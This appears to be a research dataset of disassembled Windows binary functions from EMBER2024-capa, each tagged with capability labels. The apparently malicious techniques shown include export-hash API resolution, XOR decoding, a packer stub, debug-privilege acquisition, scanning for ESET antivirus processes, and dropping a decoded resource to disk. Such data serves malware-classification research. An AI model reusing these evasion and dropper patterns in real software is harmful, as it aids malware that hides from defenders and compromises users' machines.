joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100370ed
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10037137
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100370de
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100370ed
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043cd90
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1003713e
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001dfb4
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100371dd
add edi, 4
add eax, 2
dec ecx
jne 0x10037123
call 0x1003718a
loope 0x10037180
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100371da
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100371eb
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1003719e
cmp eax, ecx
ja 0x1003719e
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10037228
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1003721e
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1001e493
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100441f9
Capabilities:
Encode data using xor

Disassembly:
call 0x10044172
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100441a2
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x100441be
xor edx, 0
jmp 0x100441c9
xor edx, edx
jmp 0x100441e0
jmp 0x100441ec
xor eax, eax
push 0x8427d7c0
call 0x100441f9
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x10044235
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1004420e
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1004424c
add eax, 0
jno 0x10044251
add esi, 0
ret 0x10

Function at 0x10044fba
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x10044fdc
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1004517e
cmp edi, dword [ebp + 0x10]
jb 0x1004517e
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10044aa6
inc edi
jmp 0x10045065
jmp 0x10045072
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10044aa6
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10044aa6
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x100450c6
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x100450aa
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.100450f4
add dword [eax], 0x39
jle 0x100450d0
sub al, 0xf5
mov ch, al
call fcn.10045109
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x10046de1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x10046df7
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x10046e08
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.10046e49
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x100491b5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100490fe
add ebx, 0
push ecx
call 0x10049113
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c6d10b8
sub ebx, dword [0x6c6f08f7]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c6f08e7
call fcn.10044bdd
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.100440eb
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x10049271
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x10049271
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x10049228
mov eax, 1
lock xchg dword [0x6c6f08f3], eax
push 0x3dd1fc71
call 0x100491b5
push esi
add esp, 8
cmp eax, 0
jne 0x1004919e
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x100491c4
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100491d9
cmp ecx, edx
cmp eax, 0
je 0x100491fe
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100491e8
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.10049217
dec eax
loope 0x1004921a
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c6f08f3], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1004924e
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x10049263
jmp 0x1004926e
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1004915c
Function at 0x100502d6
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100505ac
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c6dd56b
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c6d4531
push 0xffffffffffffffff
call fcn.100474d6
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x10050340
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.10050358
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100505a0
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x10050574
Function at 0x1005fda6
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1005fdc8
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1005fdc8
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1005fdc8
ret
cmp word [ebx + 4], 0x14c
jne 0x1005fdc8
test word [ebx + 0x16], 2
je 0x1005fdc8
test word [ebx + 0x16], 0x100
je 0x1005fdc8
cmp word [ebx + 0x18], 0x10b
jne 0x1005fdc8
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1005fdc8
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1005fe54
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1005fde8
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10046d33
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1005fdc8
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1005fe54
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1005fdc8
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1005fdc8
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1005fdc8
ret
cmp word [ebx + 4], 0x14c
jne 0x1005fdc8
test word [ebx + 0x16], 2
je 0x1005fdc8
test word [ebx + 0x16], 0x100
je 0x1005fdc8
cmp word [ebx + 0x18], 0x10b
jne 0x1005fdc8
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1005fdc8
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1005fe54
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1005fde8
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10046d33
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1005fdc8
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1005ff0b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1005ff64
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1005ff0b
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1005ff1a
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10465bbd
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1005ff6b
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10046de1
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1006000a
add edi, 4
add eax, 2
dec ecx
jne 0x1005ff50
call 0x1005ffb7
loope 0x1005ffad
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10060007
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10060018
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1005ffcb
cmp eax, ecx
ja 0x1005ffcb
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10060055
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1006004b
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100472c0
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1005ff1a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1005ff64
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1005ff0b
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1005ff1a
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10465bbd
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1005ff6b
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10046de1
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1006000a
add edi, 4
add eax, 2
dec ecx
jne 0x1005ff50
call 0x1005ffb7
loope 0x1005ffad
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10060007
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10060018
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1005ffcb
cmp eax, ecx
ja 0x1005ffcb
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10060055
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1006004b
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100472c0
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x431001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x625b2f85
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
nop
mov ecx, 0x902a282c
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x4220c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x135], 0
call fcn.004010f0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x401042
mov al, byte [ebp - 0x135]
jmp 0x4010dc
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x401078
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x135]
jmp 0x4010dc
push str.egui.exe
lea eax, [ebp - 0x10c]
push eax
call fcn.00401180
test eax, eax
jne 0x401096
mov byte [ebp - 0x135], 1
jmp 0x4010b2
push str.ekrn.exe
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00401180
test eax, eax
jne 0x4010b2
mov byte [ebp - 0x135], 1
lea edx, [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x134]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401078
mov ecx, dword [ebp - 0x134]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x135]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040bfa4
mov esp, ebp
pop ebp
ret

Function at 0x4010f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov byte [ebp - 0x1d], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40116b
lea ecx, [ebp - 8]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x40116b
mov dword [ebp - 0x1c], 1
mov edx, dword [ebp - 8]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 2
push 0
push 0
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x401167
mov byte [ebp - 0x1d], 1
jmp 0x40116b
mov byte [ebp - 0x1d], 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x1d]
mov esp, ebp
pop ebp
ret
Function at 0x401a70
Capabilities:
Contain obfuscated stackstrings
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x4220c0]
xor eax, ebp
mov dword [ebp - 0x20], eax
push 0x41e158
movzx eax, word [ebp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401aa2
xor al, al
jmp 0x401c0f
mov ecx, dword [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401abe
xor al, al
jmp 0x401c0f
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401ad8
xor al, al
jmp 0x401c0f
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x401b04
xor al, al
jmp 0x401c0f
mov ecx, dword [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
push edx
call fcn.0040c1d2
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.0040c32a
add esp, 0x10
mov byte [ebp - 0x3c], 0x62
mov byte [ebp - 0x2f], 0x31
mov byte [ebp - 0x44], 0x34
mov byte [ebp - 0x3a], 0x30
mov byte [ebp - 0x2b], 0x31
mov byte [ebp - 0x32], 0x32
mov byte [ebp - 0x42], 0x32
mov byte [ebp - 0x29], 0x66
mov byte [ebp - 0x38], 0x33
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x2e], 0x62
mov byte [ebp - 0x43], 0x35
mov byte [ebp - 0x35], 0x36
mov byte [ebp - 0x2d], 0x64
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x37], 0x64
mov byte [ebp - 0x27], 0x37
mov byte [ebp - 0x25], 0x64
mov byte [ebp - 0x36], 0x64
mov byte [ebp - 0x2a], 0x31
mov byte [ebp - 0x30], 0x66
mov byte [ebp - 0x34], 0x35
mov byte [ebp - 0x31], 0x62
mov byte [ebp - 0x3d], 0x38
mov byte [ebp - 0x41], 0x32
mov byte [ebp - 0x28], 0x32
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x33], 0x38
mov byte [ebp - 0x40], 0x39
mov byte [ebp - 0x24], 0
mov byte [ebp - 0x3f], 0x38
mov byte [ebp - 0x3b], 0x36
mov byte [ebp - 0x26], 0x61
lea ecx, [ebp - 0x44]
push ecx
call fcn.00405130
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.004052a0
movzx ecx, al
test ecx, ecx
jne 0x401bdf
xor al, al
jmp 0x401c0f
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
push ecx
call fcn.0040c29c
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.0040bfa4
mov esp, ebp
pop ebp
ret 8